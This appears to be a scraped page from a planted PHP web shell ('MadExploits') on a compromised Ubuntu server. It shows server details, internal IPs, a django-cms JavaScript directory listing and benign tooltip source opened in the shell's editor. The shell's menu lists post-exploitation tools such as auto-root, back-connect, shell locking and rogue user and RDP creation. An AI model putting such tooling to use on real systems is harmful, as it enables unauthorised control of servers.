Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
vicas-dev /
static /
cms /
js /
modules /
[ HOME SHELL ]
Name
Size
Permission
Action
shortcuts
[ DIR ]
drwxr-xr-x
cms.base.js
15.03
KB
-rw-r--r--
cms.changeform.js
1.34
KB
-rw-r--r--
cms.changetracker.js
4.36
KB
-rw-r--r--
cms.clipboard.js
7.44
KB
-rw-r--r--
cms.messages.js
4.1
KB
-rw-r--r--
cms.modal.js
42.13
KB
-rw-r--r--
cms.navigation.js
11.01
KB
-rw-r--r--
cms.pagetree.dropdown.js
3.49
KB
-rw-r--r--
cms.pagetree.js
38.41
KB
-rw-r--r--
cms.pagetree.stickyheader.js
4.85
KB
-rw-r--r--
cms.plugins.js
76.19
KB
-rw-r--r--
cms.sideframe.js
13.79
KB
-rw-r--r--
cms.structureboard.js
52.79
KB
-rw-r--r--
cms.toolbar.js
25.56
KB
-rw-r--r--
cms.tooltip.js
4.64
KB
-rw-r--r--
cms.wizards.js
1.61
KB
-rw-r--r--
dropdown.js
4.72
KB
-rw-r--r--
get-dist-path.js
1.16
KB
-rw-r--r--
jquery.noconflict.post.js
133
B
-rw-r--r--
jquery.noconflict.pre.js
159
B
-rw-r--r--
jquery.transition.js
2.12
KB
-rw-r--r--
jquery.trap.js
6.21
KB
-rw-r--r--
jquery.ui.custom.js
49.58
KB
-rw-r--r--
jquery.ui.nestedsortable.js
26.19
KB
-rw-r--r--
jquery.ui.touchpunch.js
1.26
KB
-rw-r--r--
keyboard.js
826
B
-rw-r--r--
loader.js
1.05
KB
-rw-r--r--
nextuntil.js
808
B
-rw-r--r--
preload-images.js
680
B
-rw-r--r--
scrollbar.js
402
B
-rw-r--r--
slug.js
1.11
KB
-rw-r--r--
tmpl.js
1.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cms.tooltip.js
/* * Copyright https://github.com/divio/django-cms */ /* eslint-disable max-params */ import $ from 'jquery'; import Class from 'classjs'; import { once } from 'lodash'; /** * The tooltip is the element which shows over plugins * and suggests clicking/tapping them to edit. * * @class Tooltip * @namespace CMS */ var Tooltip = new Class({ initialize: function initialize() { this.body = $('body'); /** * Are we on touch device? * * @property {Boolean} isTouch */ this.isTouch = false; /** * Tooltip DOM element * * @property {jQuery} domElem */ this.domElem = this._pick(); this._forceTouchOnce = once(this._forceTouch); this._checkTouch(); }, /** * Checks for touch event and switches to touch tooltip if detected. * * @method _checkTouch * @private */ _checkTouch: function _checkTouch() { this.body.one('touchstart.cms', $.proxy(this._forceTouchOnce, this)); }, /** * Force tooltip to be "touch". * * @method _forceTouch * @private */ _forceTouch: function _forceTouch() { this.isTouch = true; this.domElem = this._pick(); // attach tooltip event for touch devices this.domElem.on('touchstart.cms', function() { var id = $(this).data('plugin_id'); var plugin = $('.cms-plugin-' + id); // check if it is a normal plugin or a generic if (plugin.length) { plugin.trigger('dblclick.cms'); } else { // generics are added through the content mode via special // template tags some generic element might be // cms-plugin-cms-page-changelist-x var generic = $('.cms-plugin[class*="cms-plugin-cms-"][class*="-' + id + '"]'); generic.eq(0).trigger('dblclick.cms'); } }); }, /** * Manages show/hide calls. * * @method displayToggle * @param {Boolean} isShown * @param {Object} e event object * @param {String} name current plugin name * @param {String} id current plugin id */ displayToggle: function displayToggle(isShown, e, name, id) { if (isShown) { this.show(e, name, id); } else { this.hide(); } }, /** * Shows tooltip with specific plugin-related parameters. * * @method show * @param {Object} e * @param {String} name current plugin name * @param {String} id current plugin id */ show: function show(e, name, id) { var tooltip = this.domElem; var that = this; // change css and attributes tooltip.css('visibility', 'visible').data('plugin_id', id || null).show().find('span').html(name); if (this.isTouch) { this.position(e.originalEvent, tooltip); } else { // attaches move event // this sets the correct position for the edit tooltip that.position(e.originalEvent, tooltip); this.body.on('mousemove.cms.tooltip', function(mouseMoveEvent) { that.position(mouseMoveEvent, tooltip); }); } }, /** * Hides tooltip. * * @method hide */ hide: function hide() { // change css this.domElem.css('visibility', 'hidden').hide(); // unbind events if (!this.isTouch) { this.body.off('mousemove.cms.tooltip'); } }, /** * Picks tooltip to show (touch or desktop). * * @method _pick * @private * @returns {jQuery} tooltip element */ _pick: function _pick() { $('.cms-tooltip-touch, .cms-tooltip').css('visibility', 'hidden').hide(); return this.isTouch ? $('.cms-tooltip-touch') : $('.cms-tooltip'); }, /** * Positions tooltip next to the pointer event coordinates. * * @method position * @param {Object} e event object * @param {jQuery} tooltip element */ position: function position(e, tooltip) { // so lets figure out where we are var offset = 20; var arrowOffset = 12; var relX = e.pageX - $(tooltip).offsetParent().offset().left; var relY = e.pageY - $(tooltip).offsetParent().offset().top; var bound = $(tooltip).offsetParent().width(); var pos = relX + tooltip.outerWidth(true) + offset; tooltip.css({ left: pos >= bound ? relX - tooltip.outerWidth(true) - offset : relX + offset, top: relY - arrowOffset }); } }); export default Tooltip;
Close